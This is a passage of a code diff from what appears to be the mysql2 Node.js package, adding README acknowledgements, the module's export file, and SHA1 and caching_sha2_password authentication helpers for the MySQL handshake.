- [First Query][docs-qs-first-query], [Using Prepared Statements][docs-qs-using-prepared-statements], [Using Connection Pools][docs-qs-pooling] and more.
|
97
|
+
- [Documentation][docs-documentation]
|
98
|
+
- [Examples][docs-examples]
|
99
|
+
- [FAQ][docs-faq]
|
100
|
+
|
101
|
+
## Acknowledgements
|
102
|
+
|
103
|
+
- Internal protocol is written by [@sidorares][sidorares] [MySQL-Native][mysql-native].
|
104
|
+
- Constants, SQL parameters interpolation, Pooling, `ConnectionConfig` class taken from [Node MySQL][node-mysql].
|
105
|
+
- SSL upgrade code based on [@TooTallNate][TooTallNate] [code][starttls.js].
|
106
|
+
- Secure connection / compressed connection api flags compatible to [MariaSQL][node-mariasql] client.
|
107
|
+
- [Contributors][contributors].
|
108
|
+
|
109
|
+
## Contributing
|
110
|
+
|
111
|
+
Want to improve something in **MySQL2**?
|
112
|
+
Please check [Contributing.md][contributing] for detailed instruction on how to get started.
|
113
|
+
|
114
|
+
To contribute in **MySQL2 Documentation**, please visit the [Website Contributing Guidelines][docs-contributing] for detailed instruction on how to get started.
|
@@ -0,0 +1 @@
|
|
1
|
+
export * from './typings/mysql/index.js';
|
@@ -0,0 +1,77 @@
|
|
1
|
+
'use strict';
|
2
|
+
|
3
|
+
const SqlString = require('sqlstring');
|
4
|
+
|
5
|
+
const ConnectionConfig = require('./lib/connection_config.js');
|
6
|
+
const parserCache = require('./lib/parsers/parser_cache.js');
|
7
|
+
|
8
|
+
const Connection = require('./lib/connection.js');
|
9
|
+
|
10
|
+
exports.createConnection = require('./lib/create_connection.js');
|
11
|
+
exports.connect = exports.createConnection;
|
12
|
+
exports.Connection = Connection;
|
13
|
+
exports.ConnectionConfig = ConnectionConfig;
|
14
|
+
|
15
|
+
const Pool = require('./lib/pool.js');
|
16
|
+
const PoolCluster = require('./lib/pool_cluster.js');
|
17
|
+
const createPool = require('./lib/create_pool.js');
|
18
|
+
const createPoolCluster = require('./lib/create_pool_cluster.js');
|
19
|
+
|
20
|
+
exports.createPool = createPool;
|
21
|
+
|
22
|
+
exports.createPoolCluster = createPoolCluster;
|
23
|
+
|
24
|
+
exports.createQuery = Connection.createQuery;
|
25
|
+
|
26
|
+
exports.Pool = Pool;
|
27
|
+
|
28
|
+
exports.PoolCluster = PoolCluster;
|
29
|
+
|
30
|
+
exports.createServer = function (handler) {
|
31
|
+
const Server = require('./lib/server.js');
|
32
|
+
const s = new Server();
|
33
|
+
if (handler) {
|
34
|
+
s.on('connection', handler);
|
35
|
+
}
|
36
|
+
return s;
|
37
|
+
};
|
38
|
+
|
39
|
+
exports.PoolConnection = require('./lib/pool_connection.js');
|
40
|
+
exports.authPlugins = require('./lib/auth_plugins');
|
41
|
+
exports.escape = SqlString.escape;
|
42
|
+
exports.escapeId = SqlString.escapeId;
|
43
|
+
exports.format = SqlString.format;
|
44
|
+
exports.raw = SqlString.raw;
|
45
|
+
|
46
|
+
exports.__defineGetter__(
|
47
|
+
'createConnectionPromise',
|
48
|
+
() => require('./promise.js').createConnection
|
49
|
+
);
|
50
|
+
|
51
|
+
exports.__defineGetter__(
|
52
|
+
'createPoolPromise',
|
53
|
+
() => require('./promise.js').createPool
|
54
|
+
);
|
55
|
+
|
56
|
+
exports.__defineGetter__(
|
57
|
+
'createPoolClusterPromise',
|
58
|
+
() => require('./promise.js').createPoolCluster
|
59
|
+
);
|
60
|
+
|
61
|
+
exports.__defineGetter__('Types', () => require('./lib/constants/types.js'));
|
62
|
+
|
63
|
+
exports.__defineGetter__('Charsets', () =>
|
64
|
+
require('./lib/constants/charsets.js')
|
65
|
+
);
|
66
|
+
|
67
|
+
exports.__defineGetter__('CharsetToEncoding', () =>
|
68
|
+
require('./lib/constants/charset_encodings.js')
|
69
|
+
);
|
70
|
+
|
71
|
+
exports.setMaxParserCache = function (max) {
|
72
|
+
parserCache.setMaxCache(max);
|
73
|
+
};
|
74
|
+
|
75
|
+
exports.clearParserCache = function () {
|
76
|
+
parserCache.clearCache();
|
77
|
+
};
|
@@ -0,0 +1,95 @@
|
|
1
|
+
'use strict';
|
2
|
+
|
3
|
+
/*
|
4
|
+
4.1 authentication: (http://bazaar.launchpad.net/~mysql/mysql-server/5.5/view/head:/sql/password.c)
|
5
|
+
|
6
|
+
SERVER: public_seed=create_random_string()
|
7
|
+
send(public_seed)
|
8
|
+
|
9
|
+
CLIENT: recv(public_seed)
|
10
|
+
hash_stage1=sha1("password")
|
11
|
+
hash_stage2=sha1(hash_stage1)
|
12
|
+
reply=xor(hash_stage1, sha1(public_seed,hash_stage2)
|
13
|
+
|
14
|
+
// this three steps are done in scramble()
|
15
|
+
|
16
|
+
send(reply)
|
17
|
+
|
18
|
+
|
19
|
+
SERVER: recv(reply)
|
20
|
+
hash_stage1=xor(reply, sha1(public_seed,hash_stage2))
|
21
|
+
candidate_hash2=sha1(hash_stage1)
|
22
|
+
check(candidate_hash2==hash_stage2)
|
23
|
+
|
24
|
+
server stores sha1(sha1(password)) ( hash_stag2)
|
25
|
+
*/
|
26
|
+
|
27
|
+
const crypto = require('crypto');
|
28
|
+
|
29
|
+
function sha1(msg, msg1, msg2) {
|
30
|
+
const hash = crypto.createHash('sha1');
|
31
|
+
hash.update(msg);
|
32
|
+
if (msg1) {
|
33
|
+
hash.update(msg1);
|
34
|
+
}
|
35
|
+
|
36
|
+
if (msg2) {
|
37
|
+
hash.update(msg2);
|
38
|
+
}
|
39
|
+
|
40
|
+
return hash.digest();
|
41
|
+
}
|
42
|
+
|
43
|
+
function xor(a, b) {
|
44
|
+
const result = Buffer.allocUnsafe(a.length);
|
45
|
+
for (let i = 0; i < a.length; i++) {
|
46
|
+
result[i] = a[i] ^ b[i];
|
47
|
+
}
|
48
|
+
return result;
|
49
|
+
}
|
50
|
+
|
51
|
+
exports.xor = xor;
|
52
|
+
|
53
|
+
function token(password, scramble1, scramble2) {
|
54
|
+
if (!password) {
|
55
|
+
return Buffer.alloc(0);
|
56
|
+
}
|
57
|
+
const stage1 = sha1(password);
|
58
|
+
return exports.calculateTokenFromPasswordSha(stage1, scramble1, scramble2);
|
59
|
+
}
|
60
|
+
|
61
|
+
exports.calculateTokenFromPasswordSha = function (
|
62
|
+
passwordSha,
|
63
|
+
scramble1,
|
64
|
+
scramble2
|
65
|
+
) {
|
66
|
+
// we use AUTH 41 here, and we need only the bytes we just need.
|
67
|
+
const authPluginData1 = scramble1.slice(0, 8);
|
68
|
+
const authPluginData2 = scramble2.slice(0, 12);
|
69
|
+
const stage2 = sha1(passwordSha);
|
70
|
+
const stage3 = sha1(authPluginData1, authPluginData2, stage2);
|
71
|
+
return xor(stage3, passwordSha);
|
72
|
+
};
|
73
|
+
|
74
|
+
exports.calculateToken = token;
|
75
|
+
|
76
|
+
exports.verifyToken = function (publicSeed1, publicSeed2, token, doubleSha) {
|
77
|
+
const hashStage1 = xor(token, sha1(publicSeed1, publicSeed2, doubleSha));
|
78
|
+
const candidateHash2 = sha1(hashStage1);
|
79
|
+
return candidateHash2.compare(doubleSha) === 0;
|
80
|
+
};
|
81
|
+
|
82
|
+
exports.doubleSha1 = function (password) {
|
83
|
+
return sha1(sha1(password));
|
84
|
+
};
|
85
|
+
|
86
|
+
function xorRotating(a, seed) {
|
87
|
+
const result = Buffer.allocUnsafe(a.length);
|
88
|
+
const seedLen = seed.length;
|
89
|
+
|
90
|
+
for (let i = 0; i < a.length; i++) {
|
91
|
+
result[i] = a[i] ^ seed[i % seedLen];
|
92
|
+
}
|
93
|
+
return result;
|
94
|
+
}
|
95
|
+
exports.xorRotating = xorRotating;
|
@@ -0,0 +1,108 @@
|
|
1
|
+
'use strict';
|
2
|
+
|
3
|
+
// https://mysqlserverteam.com/mysql-8-0-4-new-default-authentication-plugin-caching_sha2_password/
|
4
|
+
|
5
|
+
const PLUGIN_NAME = 'caching_sha2_password';
|
6
|
+
const crypto = require('crypto');
|
7
|
+
const { xor, xorRotating } = require('../auth_41');
|
8
|
+
|
9
|
+
const REQUEST_SERVER_KEY_PACKET = Buffer.from([2]);
|
10
|
+
const FAST_AUTH_SUCCESS_PACKET = Buffer.from([3]);
|
11
|
+
const PERFORM_FULL_AUTHENTICATION_PACKET = Buffer.from([4]);
|
12
|
+
|
13
|
+
const STATE_INITIAL = 0;
|
14
|
+
const STATE_TOKEN_SENT = 1;
|
15
|
+
const STATE_WAIT_SERVER_KEY = 2;
|
16
|
+
const STATE_FINAL = -1;
|
17
|
+
|
18
|
+
function sha256(msg) {
|
19
|
+
const hash = crypto.createHash('sha256');
|
20
|
+
hash.update(msg);
|
21
|
+
return hash.digest();
|
22
|
+
}
|
23
|
+
|
24
|
+
function calculateToken(password, scramble) {
|
25
|
+
if (!password) {
|
26
|
+
return Buffer.alloc(0);
|
27
|
+
}
|
28
|
+
const stage1 = sha256(Buffer.from(password));
|
29
|
+
const stage2 = sha256(stage1);
|
30
|
+
const stage3 = sha256(Buffer.concat([stage2, scramble]));
|
31
|
+
return xor(stage1, stage3);
|
32
|
+
}
|
33
|
+
|
34
|
+
function encrypt(password, scramble, key) {
|
35
|
+
const stage1 = xorRotating(Buffer.from(`${password}\0`, 'utf8'), scramble);
|
36
|
+
return crypto.publicEncrypt(
|
37
|
+
{
|
38
|
+
key,
|
39
|
+
padding: crypto.constants.RSA_PKCS1_OAEP_PADDING,
|
40
|
+
},
|
41
|
+
stage1
|
42
|
+
);
|
43
|
+
}
|
44
|
+
|
45
|
+
module.exports =
|
46
|
+
(pluginOptions = {}) =>
|
47
|
+
({ connection }) => {
|
48
|
+
let state = 0;
|
49
|
+
let scramble = null;
|
50
|
+
|
51
|
+
const password = connection.config.password;
|
52
|
+
|
53
|
+
const authWithKey = (serverKey) => {
|
54
|
+
const _password = encrypt(password, scramble, serverKey);
|
55
|
+
state = STATE_FINAL;
|
56
|
+
return _password;
|
57
|
+
};
|
58
|
+
|
59
|
+
return (data) => {
|
60
|
+
switch (state) {
|
61
|
+
case STATE_INITIAL:
|
62
|
+
scramble = data.slice(0, 20);
|
63
|
+
state = STATE_TOKEN_SENT;
|
64
|
+
return calculateToken(password, scramble);
|
65
|
+
|
66
|
+
case STATE_TOKEN_SENT:
|
67
|
+
if (FAST_AUTH_SUCCESS_PACKET.equals(data)) {
|
68
|
+
state = STATE_FINAL;
|
69
|
+
return null;
|
70
|
+
}
|
71
|
+
|
72
|
+
if (PERFORM_FULL_AUTHENTICATION_PACKET.equals(data)) {
|
73
|
+
const isSecureConnection =
|
74
|
+
typeof pluginOptions.overrideIsSecure === 'undefined'
|
75
|
+
? connection.config.ssl || connection.config.socketPath
|
76
|
+
: pluginOptions.overrideIsSecure;
|
77
|
+
if (isSecureConnection) {
|
78
|
+
state = STATE_FINAL;
|
79
|
+
return Buffer.from(`${password}\0`, 'utf8');
|
80
|
+
}
|
81
|
+
|
82
|
+
// if client provides key we can save one extra roundrip on first connection
|
83
|
+
if (pluginOptions.serverPublicKey) {
|
84
|
+
return authWithKey(pluginOptions.serverPublicKey);
|
85
|
+
}
|
86
|
+
|
87
|
+
state = STATE_WAIT_SERVER_KEY;
|
88
|
+
return REQUEST_SERVER_KEY_PACKET;
|
89
|
+
}
|
90
|
+
throw new Error(
|
91
|
+
`Invalid AuthMoreData packet received by ${PLUGIN_NAME} plugin in STATE_TOKEN_SENT state.`
|
92
|
+
);
|
93
|
+
case STATE_WAIT_SERVER_KEY:
|
94
|
+
if (pluginOptions.onServerPublicKey) {
|
95
|
+
pluginOptions.onServerPublicKey(data);
|
96
|
+
}
|
97
|
+
return authWithKey(data);
|
98
|
+
case STATE_FINAL:
|
99
|
+
throw new Error(
|
100
|
+
`Unexpected data in AuthMoreData packet received by ${PLUGIN_NAME} plugin in STATE_FINAL state.`
|
101
|
+
);
|
102
|
+
}
|
103
|
+
|
104
|
+
throw new Error(
|
105
|
+
`Unexpected data in AuthMoreData packet received by ${PLUGIN_NAME} plugin in state ${state}`
|
106
|
+
);
|
107
|
+
};
|
108
|
+
};
|